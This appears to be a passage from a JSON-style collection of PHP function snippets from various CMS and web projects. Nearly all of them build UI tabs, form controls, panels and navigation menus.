Controls_Manager::DIMENSIONS,\n 'size_units' => [ 'px', 'em', '%' ],\n 'selectors' => [\n '{{WRAPPER}} .heading-modern .heading-title' => 'padding:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'\n ],\n ]\n );\n $this->add_responsive_control(\n 'desc_margin',\n array(\n 'label' => __( 'Margin Description', 'apr-core' ),\n 'type' => Controls_Manager::DIMENSIONS,\n 'size_units' => [ 'px', '%' ],\n 'allowed_dimensions' => 'vertical',\n 'placeholder' => [\n 'top' => '',\n 'right' => 'auto',\n 'bottom' => '',\n 'left' => 'auto',\n ],\n 'selectors' => [\n '{{WRAPPER}} .heading-modern .description' => 'margin-top: {{TOP}}{{UNIT}}; margin-bottom: {{BOTTOM}}{{UNIT}};',\n ],\n )\n );\n $this->add_responsive_control(\n 'description_padding',\n [\n 'label' => __( 'Padding Description', 'apr-core' ),\n 'type' => Controls_Manager::DIMENSIONS,\n 'size_units' => [ 'px', 'em', '%' ],\n 'selectors' => [\n '{{WRAPPER}} .heading-modern .description' => 'padding:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'\n ],\n ]\n );\n $this->add_control(\n 'title_color_hover',\n [\n 'label' => __( 'Title Color Hover', 'apr-core' ),\n 'type' => Controls_Manager::COLOR,\n 'scheme' => [\n 'type' => Scheme_Color::get_type(),\n 'value' => Scheme_Color::COLOR_1,\n ],\n 'selectors' => [\n // Stronger selector to avoid section style from overwriting\n '{{WRAPPER}} .heading-modern .heading-title:hover,\n {{WRAPPER}} .heading-modern .heading-title a:hover' => 'color: {{VALUE}};',\n ],\n ]\n );\n $this->add_control(\n 'desc_color_hover',\n [\n 'label' => __( 'Description Color Hover', 'apr-core' ),\n 'type' => Controls_Manager::COLOR,\n 'scheme' => [\n 'type' => Scheme_Color::get_type(),\n 'value' => Scheme_Color::COLOR_1,\n ],\n 'selectors' => [\n // Stronger selector to avoid section style from overwriting\n '{{WRAPPER}} .heading-modern .description:hover' => 'color: {{VALUE}};',\n ],\n ]\n );\n $this->end_controls_section();\n }",
"function __construct()\n {\n\t $this->tabs = array( \n//\t array ( 'tab_id' => 'properties',\t\t'tab_op' => 'administration.customization_properties.edit', \t'tab_name' => 'Application properties'),\n\t array ( 'tab_id' => 'fields',\t\t\t'tab_op' => 'administration.customization_fields.edit', \t\t'tab_name' => 'Field properties'),\n\t array ( 'tab_id' => 'searches', \t\t'tab_op' => 'administration.customization_searches.edit',\t\t'tab_name' => 'Search filters'),\n\t array ( 'tab_id' => 'results', \t\t\t'tab_op' => 'administration.customization_results.edit',\t\t'tab_name' => 'Search results'),\n\t array ( 'tab_id' => 'bulk',\t\t\t\t'tab_op' => 'administration.customization_bulk.edit', \t\t\t'tab_name' => 'Bulk form'),\t \n\t array ( 'tab_id' => 'view', \t\t\t'tab_op' => 'administration.customization_view.edit',\t\t\t'tab_name' => 'View form'),\n\t array ( 'tab_id' => 'edit', \t\t\t'tab_op' => 'administration.customization_edit.edit',\t\t\t'tab_name' => 'Edit form'),\n\t array ( 'tab_id' => 'linked', \t\t\t'tab_op' => 'administration.customization_linked.edit',\t\t\t'tab_name' => 'Linked applications'),\n\t array ( 'tab_id' => 'linked_view', \t\t'tab_op' => 'administration.customization_linked_view.edit',\t'tab_name' => 'Linked view form'),\n\t array ( 'tab_id' => 'popup_searches', \t'tab_op' => 'administration.customization_popup_searches.edit',\t'tab_name' => 'Popup search filters'),\n\t array ( 'tab_id' => 'popup_results', \t'tab_op' => 'administration.customization_popup_results.edit',\t'tab_name' => 'Popup search results'),\n\t array ( 'tab_id' => 'popup_view', \t\t'tab_op' => 'administration.customization_popup_view.edit',\t\t'tab_name' => 'Popup view form'),\n\t array ( 'tab_id' => 'popup_edit', \t\t'tab_op' => 'administration.customization_popup_edit.edit',\t\t'tab_name' => 'Popup edit form')\n\t ); \n\n\t\tparent::__construct();\n }",
"function cmc_framework_markets_landing_tab_section_content($i) {\n \n $fieldset_key = 'tab' . $i;\n $title_key = 'cmc_framework_markets_tab' . $i;\n $content_key = 'cmc_framework_markets_tab' . $i . '_content';\n $pricing_key = 'cmc_framework_markets_tab' . $i . '_pricing';\n $image_key = 'cmc_framework_markets_tab' . $i . '_image';\n \n \n $content = variable_get($content_key, t('Content'));\n \n $edit_link = '';\n if (user_access('administer cmc_markets_landing')) {\n $edit_link = l('Edit Content', 'admin/config/cmc/markets_landing');\n }\n \n $pricing = '';\n $pricing_nid = variable_get($pricing_key, '');\n if ($pricing_nid) {\n \n $pricing_node = node_load($pricing_nid);\n $instruments = cmc_pricing_node_get_instruments($pricing_node);\n\n $data = array(\n 'node' => $pricing_node,\n 'instruments' => $instruments,\n 'i' => $i,\n 'edit_link' => '',\n );\n \n if (user_access('administer cmc_pricing')) {\n $options = array(\n 'attributes' => array(\n 'class' => 'pricing-edit',\n ),\n 'query' => array('destination' => $_GET['q']),\n );\n $data['edit_link'] = l('Edit Pricing Panel', 'node/' . $pricing_node->nid . '/edit', $options);\n }\n \n $pricing = theme('cmc_pricing_panel', $data);\n }\n \n \n $tab = array(\n 'title' => variable_get($title_key, t('Title')),\n 'content' => check_markup($content['value'], $content['format']),\n 'pricing' => $pricing,\n 'edit_link' => $edit_link,\n );\n \n // add in the image if one is uploaded\n $image_fid = variable_get($image_key, '');\n $image = file_load($image_fid);\n \n if (!empty($image->fid)) {\n $imagedata = array(\n 'path' => file_create_url($image->uri),\n );\n $tab['image'] = theme('image', $imagedata);\n }\n \n return $tab;\n}",
"function shortcodes_tab_child($atts, $content = null) {\n\t\textract(shortcode_atts(array(\n\t\t\t'title' => ''\n\t\t), $atts));\n\n\t\t$output = '<li class=\"flavour-tabs-tab\" role=\"tabpanel\">';\n\t\t$output .= '<h3 class=\"flavour-tabs-tab-title\">'.$title.'</h3>';\n\t\t$output .= do_shortcode($content);\n\t\t$output .= '</li>';\n\t\treturn $output;\n\t}",
"public function create_tab_content( $key, $tab ) {\n $this->print_download_link_html();\n }",
"private function createFormsTab()\n {\n $tab = $this->createTab(\n 'forms_tab',\n '__responsive_tab_forms__',\n [\n 'attributes' => [\n 'autoScroll' => true,\n ],\n ]\n );\n\n $attributes = array_merge($this->fieldSetDefaults, ['height' => 90]);\n $fieldSetLabels = $this->createFieldSet(\n 'labels_fieldset',\n '__responsive_tab_forms_fieldset_labels__',\n ['attributes' => $attributes]\n );\n\n $fieldSetLabels->addElement(\n $this->createTextField(\n 'label-font-size',\n '@label-font-size',\n $this->themeFontDefaults['label-font-size']\n )\n );\n $fieldSetLabels->addElement(\n $this->createColorPickerField(\n 'label-color',\n '@label-color',\n $this->themeColorDefaults['label-color']\n )\n );\n\n $tab->addElement($fieldSetLabels);\n\n $attributes = array_merge($this->fieldSetDefaults, ['height' => 160]);\n $fieldSetFormBase = $this->createFieldSet(\n 'form_base_fieldset',\n '__responsive_tab_forms_fieldset_global__',\n ['attributes' => $attributes]\n );\n\n $fieldSetFormBase->addElement(\n $this->createTextField(\n 'input-font-size',\n '@input-font-size',\n $this->themeFontDefaults['input-font-size']\n )\n );\n $fieldSetFormBase->addElement(\n $this->createColorPickerField(\n 'input-bg',\n '@input-bg',\n $this->themeColorDefaults['input-bg']\n )\n );\n $fieldSetFormBase->addElement(\n $this->createColorPickerField(\n 'input-color',\n '@input-color',\n $this->themeColorDefaults['input-color']\n )\n );\n $fieldSetFormBase->addElement(\n $this->createColorPickerField(\n 'input-placeholder-color',\n '@input-placeholder-color',\n $this->themeColorDefaults['input-placeholder-color']\n )\n );\n $fieldSetFormBase->addElement(\n $this->createColorPickerField(\n 'input-border',\n '@input-border',\n $this->themeColorDefaults['input-border']\n )\n );\n\n $tab->addElement($fieldSetFormBase);\n\n $attributes = array_merge($this->fieldSetDefaults, ['height' => 240]);\n $fieldSetFormStates = $this->createFieldSet(\n 'form_states_fieldset',\n '__responsive_tab_forms_fieldset_states__',\n ['attributes' => $attributes]\n );\n\n $fieldSetFormStates->addElement(\n $this->createColorPickerField(\n 'input-focus-bg',\n '@input-focus-bg',\n $this->themeColorDefaults['input-focus-bg']\n )\n );\n $fieldSetFormStates->addElement(\n $this->createColorPickerField(\n 'input-focus-border',\n '@input-focus-border',\n $this->themeColorDefaults['input-focus-border']\n )\n );\n $fieldSetFormStates->addElement(\n $this->createColorPickerField(\n 'input-focus-color',\n '@input-focus-color',\n $this->themeColorDefaults['input-focus-color']\n )\n );\n $fieldSetFormStates->addElement(\n $this->createColorPickerField(\n 'input-error-bg',\n '@input-error-bg',\n $this->themeColorDefaults['input-error-bg']\n )\n );\n $fieldSetFormStates->addElement(\n $this->createColorPickerField(\n 'input-error-border',\n '@input-error-border',\n $this->themeColorDefaults['input-error-border']\n )\n );\n $fieldSetFormStates->addElement(\n $this->createColorPickerField(\n 'input-error-color',\n '@input-error-color',\n $this->themeColorDefaults['input-error-color']\n )\n );\n $fieldSetFormStates->addElement(\n $this->createColorPickerField(\n 'input-success-bg',\n '@input-success-bg',\n $this->themeColorDefaults['input-success-bg']\n )\n );\n $fieldSetFormStates->addElement(\n $this->createColorPickerField(\n 'input-success-border',\n '@input-success-border',\n $this->themeColorDefaults['input-success-border']\n )\n );\n $fieldSetFormStates->addElement(\n $this->createColorPickerField(\n 'input-success-color',\n '@input-success-color',\n $this->themeColorDefaults['input-success-color']\n )\n );\n\n $tab->addElement($fieldSetFormStates);\n\n return $tab;\n }",
"public function build(JobInterface $task_job) {\n if ($this->tempstoreRepository->has($task_job)) {\n $task_job = $this->tempstoreRepository->get($task_job);\n }\n\n /** @var \\Drupal\\task\\Entity\\Task $temp_task */\n $temp_task = $this->entityTypeManager->getStorage('task')->create([\n 'job' => $task_job,\n ]);\n $collect_resource_contexts = new CollectResourcesContextsEvent($temp_task);\n $this->eventDispatcher->dispatch(TaskEvents::COLLECT_RESOURCES_CONTEXTS, $collect_resource_contexts);\n $definitions = $this->blockManager->getFilteredDefinitions(\n 'task_job_resource',\n $collect_resource_contexts->getContexts() + [\n 'task' => new EntityContext(\n new EntityContextDefinition('task', $this->t('The Task')),\n $temp_task\n ),\n ]\n );\n\n $build = [\n '#type' => 'container',\n ];\n foreach ($definitions as $name => $definition) {\n $category = isset($definition['category']) ? (string) $definition['category'] : 'Other';\n if (!isset($build[$category])) {\n $build[$category]['#type'] = 'details';\n $build[$category]['#open'] = TRUE;\n $build[$category]['#title'] = $category;\n $build[$category]['links'] = [\n '#theme' => 'links',\n '#links' => [],\n ];\n }\n\n $build[$category]['links']['#links'][] = [\n 'title' => $definition['admin_label'],\n 'url' => Url::fromRoute(\n 'task_job.resource.add',\n [\n 'task_job' => $task_job->id(),\n 'plugin_id' => $name,\n ]\n ),\n 'attributes' => $this->getAjaxAttributes(),\n ];\n }\n\n return $build;\n }",
"function makeTab($title,$content) {\n\t\t$placeholders = array(\n\t\t\t\"[+title+]\" => $title,\n\t\t\t\"[+tab_content+]\" => $content,\n\t\t);\n\t\treturn str_replace( array_keys( $placeholders ), array_values( $placeholders ), $this->templates[\"tab\"]);\n\t}",
"private function tab_navigation() {\n\t\t\techo '<div class=\"wpseo-local-metabox-menu\">';\n\t\t\techo '<ul role=\"tablist\" class=\"yoast-seo-local-aria-tabs\" aria-label=\"Yoast SEO: Local\">';\n\t\t\tforeach ( $this->tabs as $key => $tab ) {\n\t\t\t\t$active = ( $key === 0 );\n\n\t\t\t\t$link_class = [ 'wpseo-local-meta-section-link' ];\n\t\t\t\tif ( $active ) {\n\t\t\t\t\t$link_class[] = 'yoast-active-tab';\n\t\t\t\t}\n\n\t\t\t\techo '<li role=\"presentation\" ' . ( ( $active ) ? 'class=\"active\"' : '' ) . '>';\n\t\t\t\techo '<a role=\"tab\" href=\"#wpseo-local-tab-' . $tab['id'] . '\" class=\"' . implode( ' ', $link_class ) . '\" id=\"wpseo-local-tab-' . $tab['id'] . '-content\">';\n\t\t\t\techo '<span class=\"dashicons dashicons-' . $tab['icon'] . '\"></span>';\n\t\t\t\techo $tab['title'];\n\t\t\t\techo '</a>';\n\t\t\t\techo '</li>';\n\t\t\t}\n\t\t\techo '</ul>';\n\t\t\techo '</div> <!-- .wpseo-metabox-menu -->';\n\t\t}",
"public function actionRenderTab() {\n\n if (isset($_GET['name']) && isset($_GET['type'])) {\n $model = $this->loadModel();\n $this->renderPartial('/project/' . $_GET['type'] . 'Wrapper',\n array('model' => $model,\n 'render' => $_GET['name'],\n 'tab_fk' => $_GET['tab_fk']));\n } elseif (isset($_GET['ajaxPanel']) && $_GET['ajaxPanel']) {\n if (!isset($_GET['ajax'])) {\n echo CJSON::encode(array('status' => 't',\n 'response' => $this->renderPartial('/project/ajaxInterface', array('params' => $_GET), true, true)));\n } elseif (isset($_GET['ajax'])) {\n echo $this->renderPartial('/project/ajaxInterface', array('params' => $_GET), true, true);\n }\n Yii::app()->end();\n } else {\n echo CJSON::encode(array('status' => 'f',\n 'response' => 'There was a problem rendering this panel.'));\n Yii::app()->end();\n }\n }",
"function __construct() {\n\n $options = array('classname' => 'tab_post_widget', 'description' => \"Theme styled recent and popular posts, comments and tags to be displayed in a preview tabs\");\n $controls = array('width' => 250, 'height' => 200);\n parent::__construct('tab_posts', 'J&W - Tab Posts Widget', $options, $controls);\n }",
"function bpfit_walk_subtab_show_screen() {\n\t\t\tadd_action( 'bp_template_title', array($this, 'bpfit_walk_subtab_function_to_show_title') );\n\t\t\tadd_action( 'bp_template_content', array($this, 'bpfit_walk_subtab_function_to_show_content') );\n\t\t\tbp_core_load_template( apply_filters( 'bp_core_template_plugin', 'members/single/plugins' ) );\n\t\t}",
"function buildForm()\r\n {\r\n $this->buildTabs();\r\n // tab caption\r\n $this->addElement('header', null,\r\n 'Progress2 Generator - Control Panel: run demo');\r\n\r\n $this->addElement('static', 'progressBar',\r\n 'Your progress meter looks like:');\r\n\r\n // Buttons of the wizard to do the job\r\n $this->buildButtons(array('reset','process'));\r\n }",
"public function tab1(){\n $this->layout = new \\stdClass();\n $this->model->rewriteActionConfigField('hide_menubar', 1);\n\n $this->layout->header[] = $this->components->getFauxTopbar(array(\n 'mode' => 'route_back','btn_title'=>false,'title' => '{#add_proof#}','route_back' => 'Tasklist/Default/'));\n\n /* reject note */\n $reject_note = $this->getData('reject_note', 'string');\n\n if($reject_note){\n $box4[] = $this->getComponentText($reject_note, array('style' => 'ern_reject_note'));\n $this->layout->scroll[] = $this->components->getSummaryBox('{#latest_reject_note_from_your_adult#}',$box4);\n }\n\n /* box 1 -- cart */\n $box1[] = $this->components->getCartHeader($this->data);\n\n $cart = $this->getData('cart', 'array');\n\n foreach($cart as $product){\n $box1[] = $this->components->getProductListItem($product,array('no_controls' => true));\n }\n \n $data = $this->getData('task_data', 'array');\n\n if(isset($data['nickname'])){\n $nickname = $data['nickname'];\n } elseif(isset($data['username'])){\n $nickname = $data['username'];\n } else {\n $nickname = '{#unknown#}';\n }\n\n $tasks = $this->getData('tasks_info', 'array');\n $this->layout->header[] = $this->components->getLargeProgress($tasks);\n\n $this->layout->scroll[] = $this->components->getSummaryBox('{#towards#}',$box1);\n\n /* Note */\n $choreType[] = $this->components->getComponentText(\n '{#' . $tasks['category_name'] . '#}',\n array(),\n array('margin' => '5 15 5 15'\n )\n );\n\n $this->layout->scroll[] = $this->components->getSummaryBox('{#chore_type#}',$choreType);\n\n /* box 3 -- summary */\n $box3[] = $this->components->getTaskSummary($this->data);\n $this->layout->scroll[] = $this->components->getSummaryBox('{#how#}',$box3);\n\n $box5[] = $this->getComponentText($tasks['comments'],array('style' => 'mtask_summary_header_content'));\n $this->layout->scroll[] = $this->components->getSummaryBox('{#parent_comment_to_deal#}',$box5);\n\n\n /* image placeholder */\n $image = $this->model->getSavedVariable('proofimage') ? $this->model->getSavedVariable('proofimage') : 'invisible-divider.png';\n $this->layout->scroll[] = $this->getComponentImage($image, array(\n 'variable' => 'proofimage'\n ));\n\n /* add photo button */\n $this->layout->scroll[] = $this->getComponentText('{#add_a_photo#}', array('style' => 'steps_hint','uppercase' => true));\n $this->layout->scroll[] = $this->getComponentText('{#add_a_photo#}',array('style' => 'attach_image_btn',\n 'onclick' => $this->getOnclickImageUpload('proofimage',array('sync_upload' => 1,'max_dimensions' => '450'))));\n\n /* date */\n/* $this->layout->scroll[] = $this->components->getHintedCalendar(\n '{#date#}',\n 'proof_date',\n time(),\n array('header' => false)\n );*/\n\n /* submit to */\n //$this->layout->scroll[] = $this->getComponentText('{#submit_to#}', array('style' => 'steps_hint','uppercase' => true));\n// $this->layout->scroll[] = $this->getComponentText($nickname, array('style' => 'proof_field_static'));\n\n /* description */\n $this->layout->scroll[] = $this->components->getHintedField(\n '{#description#}',\n 'description',\n 'textarea'\n );\n\n $this->layout->scroll[] = $this->getComponentSpacer('30');\n\n\n\n\n $onclick = $this->components->getOnclickShowDiv('cancel_div',\n array('background' => 'blur','tap_to_close' => true),\n array('left' => '50','right' => '50','bottom' => $this->screen_height/2 - 200));\n $btns[] = $this->components->getComponentText('{#cancel#}',array('style' => 'mtask_cancel_btn','onclick' => $onclick,'uppercase' => true));\n\n $onclick_save = $this->components->getOnclickSubmit('mytasks/saveproof/'.$data['taskid']);\n $btns[] = $this->components->getComponentText('{#send#}',array('style' => 'mtask_send_btn_half','onclick' => $onclick_save,'uppercase' => true));\n\n\n\n $this->layout->footer[] = $this->getComponentRow($btns);\n return $this->layout;\n\n }",
"public function startTabs() {\n\t\t\tglobal $oSecurity; \n\t\t\t$arTabs = array( \n\t\t\t\t\"home\" => array(\n\t\t\t\t\t\"title\" => \"Home\", \n\t\t\t\t\t\"url\" => \"main.php\", \n\t\t\t\t\t\"classes\" => array(\"menu-item\", \"home\"), \n\t\t\t\t) \n\t\t\t); \n\t\t\t$oOwaesTypes = new owaestype(); \n\t\t\tforeach ($oOwaesTypes->getAllTypes() as $strKey=>$strTitle) {\n\t\t\t\t$arTabs[\"market.\" . $strKey] = array(\n\t\t\t\t\t\"title\" => $strTitle, \n\t\t\t\t\t\"url\" => \"index.php?t=\" . $strKey, \n\t\t\t\t\t\"classes\" => array(\"menu-item\", $strKey), \n\t\t\t\t);\n\t\t\t}\n\t\t\t/*$arTabs[\"users\"] = array(\n\t\t\t\t\t\"title\" => \"gebruikers\", \n\t\t\t\t\t\"url\" => \"users.php\", \n\t\t\t\t\t\"classes\" => array(\"users\", \"extratab\"), \n\t\t\t\t);*/\n\t\t\tif ($this->bLoggedInUser) {\n\t\t\t\t/*$oInbox = new inbox();\n\t\t\t\tif (count($oInbox->discussions()) > 0) {\n\t\t\t\t\t$arTabs[\"messages\"] = array(\n\t\t\t\t\t\t\"title\" => \"berichten\", \n\t\t\t\t\t\t\"url\" => \"#\", \n\t\t\t\t\t\t\"classes\" => array(\"extratab\", \"mailbox\"), \n\t\t\t\t\t\t\"sub\" => array(),\n\t\t\t\t\t); \n\t\t\t\t\tforeach ($oInbox->discussions() as $iKey=>$arUser) {\n\t\t\t\t\t\tif ($arUser[\"unread\"] > 0) {\n\t\t\t\t\t\t\t$arTabs[\"messages\"][\"sub\"][$arUser[\"names\"] . \" (\" . $arUser[\"unread\"] . \")\"] = array(\"conversation.php?users=\" . $arUser[\"ids\"], \"conversation unread\"); \n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$arTabs[\"messages\"][\"sub\"][$arUser[\"names\"]] = array(\"conversation.php?users=\" . $arUser[\"ids\"], \"conversation\"); \n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} \n */\n $arTabs[\"lijsten\"] = array (\n \"title\" => \"Lijsten\", \n\t\t\t\t\t\"url\" => \"#\", \n\t\t\t\t\t\"classes\" => array(\"dropdown-toggle\", \"lijsten\", \"menu-item\"), \n\t\t\t\t\t\"sub\" => array(),\n );\n \n if (user(me())->levelrights(\"groepslijst\")) $arTabs[\"lijsten\"][\"sub\"][\"Groepen\"] = array(\"groups.php\", \"groups\");\n if (user(me())->levelrights(\"gebruikerslijst\")) $arTabs[\"lijsten\"][\"sub\"][\"Gebruikers\"] = array(\"users.php\", \"gebruikers\");\n $arTabs[\"lijsten\"][\"sub\"][\"Vrienden\"] = array(\"friends.php\", \"friends\");\n\t\t\t\t$arTabs[\"lijsten\"][\"sub\"][\"Badges\"] = array(\"badges.php\", \"badges\");\n\t\t\t\tif ($oSecurity->admin()) {\n\t\t\t\t\t$arTabs[\"lijsten\"][\"sub\"][\"Admin\"] = array(\"admin.php\", \"admin\");\n\t\t\t\t\t$arTabs[\"lijsten\"][\"sub\"][\"Reports\"] = array(\"meldingen.php\", \"meldingen\");\n\t\t\t\t\t$arTabs[\"lijsten\"][\"sub\"][\"Groepen\"] = array(\"admin.groepen.php\", \"groups\");\n\t\t\t\t}\n \n $arTabs[\"account\"] = array (\n \"title\" => \"Account\", \n\t\t\t\t\t\"url\" => \"#\", \n\t\t\t\t\t\"classes\" => array(\"dropdown-toggle\", \"account\", \"menu-item\"), \n\t\t\t\t\t\"sub\" => array(),\n );\n $arTabs[\"account\"][\"sub\"][\"Profiel\"] = array(\"profile.php\", \"profiel\");\t\n\t\t\t\t$arTabs[\"account\"][\"sub\"][\"Berichten\"] = array(\"conversation.php\", \"berichten\");\t\n\t\t\t\t$arTabs[\"account\"][\"sub\"][\"Instellingen\"] = array(\"settings.php\", \"instellingen\");\n\t\t\t\t$arTabs[\"account\"][\"sub\"][\"Paswoord aanpassen\"] = array(\"modal.changepass.php\", \"paswoord domodal\");\n\t\t\t\t$arTabs[\"account\"][\"sub\"][\"Afmelden\"] = array(\"logout.php\", \"afmelden\");\t\n \n\t\t\t\t/*$arTabs[\"settings\"] = array(\n\t\t\t\t\t\"title\" => \"instellingen\", \n\t\t\t\t\t\"url\" => \"settings.php\", \n\t\t\t\t\t\"classes\" => array(\"extratab\", \"settings\"), \n\t\t\t\t\t\"sub\" => array(),\n\t\t\t\t);\n \n\t\t\t\tforeach (user(me())->groups() as $oGroep) {\n\t\t\t\t\t$arTabs[\"settings\"][\"sub\"][$oGroep->naam()] = array(\"group.php?id=\" . $oGroep->id(), \"groep\"); \n\t\t\t\t}\n\t\t\t\t*/\n\t\t\t\t//if ($oSecurity->admin()) $arTabs[\"account\"][\"sub\"][\"admin\"] = array(\"admin.php\", \"admin\"); \n\t\t\t\t/*\n\t\t\t\t$arTabs[\"settings\"][\"sub\"][\"instellingen\"] = array(\"settings.php\", \"settings\");\n\t\t\t\t$arTabs[\"settings\"][\"sub\"][\"profiel\"] = array(\"profile.php\", \"profile\");\n\t\t\t\t$arTabs[\"settings\"][\"sub\"][\"uitloggen\"] = array(\"logout.php\", \"login\");\n */\n\t\t\t} else {\n\t\t\t\t$arTabs[\"login\"] = array(\n\t\t\t\t\t\"url\" => \"login.php?p=\" . urlencode($this->filename()), \n\t\t\t\t\t\"classes\" => array(\"menu-item\", \"login\"), \n\t\t\t\t); \n\t\t\t}\n\t\t\tif (isset($arTabs[$this->tab()][\"classes\"])) $arTabs[$this->tab()][\"classes\"][] = \"active\"; \n \n $strHTML = \"\";\n $strHTML .= \"<nav class=\\\"navbar navbar-default\\\">\";\n $strHTML .= \"<div class=\\\"container\\\"><div class=\\\"row\\\"><div class=\\\"navbar-header\\\">\";\n $strHTML .= \"<a href=\\\"main.php\\\"><h1 class=\\\"navbar-brand\\\">OWAES</h1></a>\";\n $strHTML .= \"<button class=\\\"navbar-toggle\\\" type=\\\"button\\\" data-toggle=\\\"collapse\\\" data-target=\\\"#navbar-main\\\"><span class=\\\"icon-bar\\\"></span><span class=\\\"icon-bar\\\"></span><span class=\\\"icon-bar\\\"></span></button>\";\n\t\t\t$strHTML .= \"</div><div class=\\\"navbar-collapse collapse\\\" id=\\\"navbar-main\\\"><ul class=\\\"nav navbar-nav navbar-right\\\">\"; \n\t\t\tforeach ($arTabs as $strKey => $arDetails) {\n\t\t\t\t$strTitel = isset($arDetails[\"title\"]) ? $arDetails[\"title\"] : $strKey; \n if (!isset($arDetails[\"sub\"])){\n $strHTML .= \"<li>\";\n\t\t\t\t $strHTML .= \"<a href=\\\"\" . fixPath($arDetails[\"url\"]) . \"\\\" class=\\\"\" . implode(\" \", $arDetails[\"classes\"]) . \"\\\">\";\n $strHTML .= \"<span class=\\\"icon\\\"></span>\";\n $strHTML .= \"<span class=\\\"title\\\">$strTitel</span></a>\";\n $strHTML .= \"</li>\";\n } else{\n $strHTML .= \"<li class=\\\"dropdown\\\">\";\n $strHTML .= \"<a href=\\\"\" . fixPath($arDetails[\"url\"]) . \"\\\" class=\\\"\" . implode(\" \", $arDetails[\"classes\"]) . \"\\\" data-toggle=\\\"dropdown\\\">\";\n $strHTML .= \"<span class=\\\"icon\\\"></span>\";\n $strHTML .= \"<span class=\\\"title\\\">$strTitel</span> <span class=\\\"caret\\\"></span></a>\";\n \n $strHTML .= \"<ul class=\\\"dropdown-menu\\\">\"; \n\t\t\t\t\tforeach ($arDetails[\"sub\"] as $strSubTitel => $arSubDetails) {\n\t\t\t\t\t\t$strHTML .= \"<li><a href=\\\"\" . fixPath($arSubDetails[0]) . \"\\\" class=\\\"\" . $arSubDetails[1] . \"\\\"><span class=\\\"icon-\" . $arSubDetails[1] . \"\\\"></span><span>$strSubTitel</span></a></li>\";\n\t\t\t\t\t}\n\t\t\t\t\t$strHTML .= \"</ul>\"; \n $strHTML .= \"</li>\";\n }\n\t\t\t\t\n\t\t\t\t\n\t\t\t}\n\t\t\t$strHTML .= \"</ul></div></div></div></nav>\"; \n\t\t\t//$strHTML .= \"<div class=\\\"clock\\\">\" . clock() . \"</div>\"; \n\t\t\t/*$strHTML .= \"<form class=\\\"search\\\" action=\\\"\" . fixPath(\"search.php\") . \"\\\" method=\\\"get\\\">\n\t\t\t\t\t\t\t<input class=\\\"searchfield\\\" type=\\\"text\\\" name=\\\"q\\\" \" . (isset($_GET[\"q\"])?(\"value=\\\"\" . inputfield($_GET[\"q\"]) . \"\\\"\"):\"\") . \" />\n\t\t\t\t\t\t\t<input class=\\\"searchbutton\\\" type=\\\"submit\\\" value=\\\"zoeken\\\" />\n\t\t\t\t\t\t</form>\"; */\n //$strHTML .= \"<ul class=\\\"popupmessages\\\"></ul>\"; \n\t\t\tif (!$this->bLoggedInUser) { \n\t\t\t\t$strHTML .= \"<div class=\\\"loginbar\\\">\n\t\t\t\t\t\t\t\tLog in: \n\t\t\t\t\t\t\t\t<form action=\\\"\" . fixPath(\"login.php\") . \"\\\" method=\\\"post\\\">\n\t\t\t\t\t\t\t\t<input type=\\\"hidden\\\" name=\\\"from\\\" id=\\\"from\\\" value=\\\"\" . $this->filename(TRUE) . \"\\\" />\n\t\t\t\t\t\t\t\t<input type=\\\"text\\\" name=\\\"username\\\" id=\\\"username\\\" />\n\t\t\t\t\t\t\t\t<input type=\\\"password\\\" name=\\\"pass\\\" id=\\\"pass\\\" />\n\t\t\t\t\t\t\t\t<input type=\\\"submit\\\" name=\\\"dologin\\\" value=\\\"inloggen\\\" />\n\t\t\t\t\t\t\t\t</form>\n\t\t\t\t\t\t\t\tof <a href=\\\"\" . fixPath(\"login.php?p=\" . urlencode($this->filename())) . \"\\\">registreer</a>\n\t\t\t\t\t\t\t</div>\";\n\t\t\t} \n\t\t\t//$strHTML .= \"<div id=\\\"ADMIN\\\">\n\t\t\t//\t\t\t\t\t<ul><a href=\\\"#\\\" rel=\\\"SQL\\\">show/hide SQL</a></ul>\n\t\t\t//\t\t\t\t</div>\";\n\t\t\t\n\t\t\tif(settings(\"analytics\")!=\"\") {\n\t\t\t\t$strHTML = \"<script>\n (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){\n (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),\n m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)\n })(window,document,'script','//www.google-analytics.com/analytics.js','ga');\n\n ga('create', '\" . settings(\"analytics\") . \"', 'auto');\n ga('send', 'pageview');\n\n</script>\" . $strHTML; \t\n\t\t\t}\n\t\t\t\n\t\t\treturn $strHTML; \n\t\t}",
"private function tabs_panels() {\n\t\t\tforeach ( $this->tabs as $key => $tab ) {\n\t\t\t\t$active = ( $key === 0 );\n\n\t\t\t\t$panel_class = [ 'wpseo-local-meta-section' ];\n\t\t\t\tif ( $active ) {\n\t\t\t\t\t$panel_class[] = 'active';\n\t\t\t\t}\n\n\t\t\t\techo '<div role=\"tabpanel\" id=\"wpseo-local-tab-' . $tab['id'] . '\" class=\"' . implode( ' ', $panel_class ) . '\">';\n\t\t\t\techo '<div class=\"wpseo-local-metabox-content\">';\n\t\t\t\tdo_action( 'wpseo-local-panel-content-' . $tab['id'] );\n\t\t\t\techo '</div>';\n\t\t\t\techo '</div>';\n\t\t\t}\n\t\t}",
"public function createFrames() {}",
